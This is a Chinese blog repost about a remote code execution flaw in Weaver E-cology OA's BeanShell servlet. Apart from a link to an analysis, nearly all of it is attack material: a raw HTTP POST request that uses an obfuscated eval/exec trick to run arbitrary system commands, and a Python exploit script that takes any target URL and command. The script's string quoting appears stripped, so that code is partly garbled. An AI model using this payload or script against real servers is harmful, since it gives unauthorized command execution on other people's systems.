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泛微E-cology OA 远程代码执行漏洞

时间:2019-10-03 14:46:43      阅读:217      评论:0      收藏:0      [点我收藏+]

标签:command   win   ati   table   connect   urlencode   keyword   mac os   padding   

分析文章:https://dwz.cn/bYtnsKwa

http://127.0.0.1/weaver/bsh.servlet.BshServlet

技术图片

 

若存在如上页面,则用下面数据包进行测试。

POST /weaver/bsh.servlet.BshServlet HTTP/1.1
Host:127.0.0.1:8080
Content-Length: 151
Cache-Control: max-age=0
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=abc17Hyv4HXw_6_hyXo1w; testBanCookie=test
Connection: close
 
bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami

技术图片

EXP:

useage:python rce.py http://www.baidu.com whoami

#!/usr/bin/env python
import requests
import sys
 
headers = {
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25,
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3,
    Accept-Language: zh-CN,zh;q=0.9,
    Content-Type: application/x-www-form-urlencoded
}
 
def exploit(url,cmd):
    target=url+/weaver/bsh.servlet.BshServlet
    payload=bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+{}\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw.format(cmd)
    res=requests.post(url=target,data=payload,headers=headers,timeout=10)
    res.encoding=res.apparent_encoding
    print(res.text)
 
if __name__ == __main__:
    url=sys.argv[1]
    cmd=sys.argv[2]
    exploit(url,cmd)

技术图片

 

泛微E-cology OA 远程代码执行漏洞

标签:command   win   ati   table   connect   urlencode   keyword   mac os   padding   

原文地址:https://www.cnblogs.com/nul1/p/11619584.html

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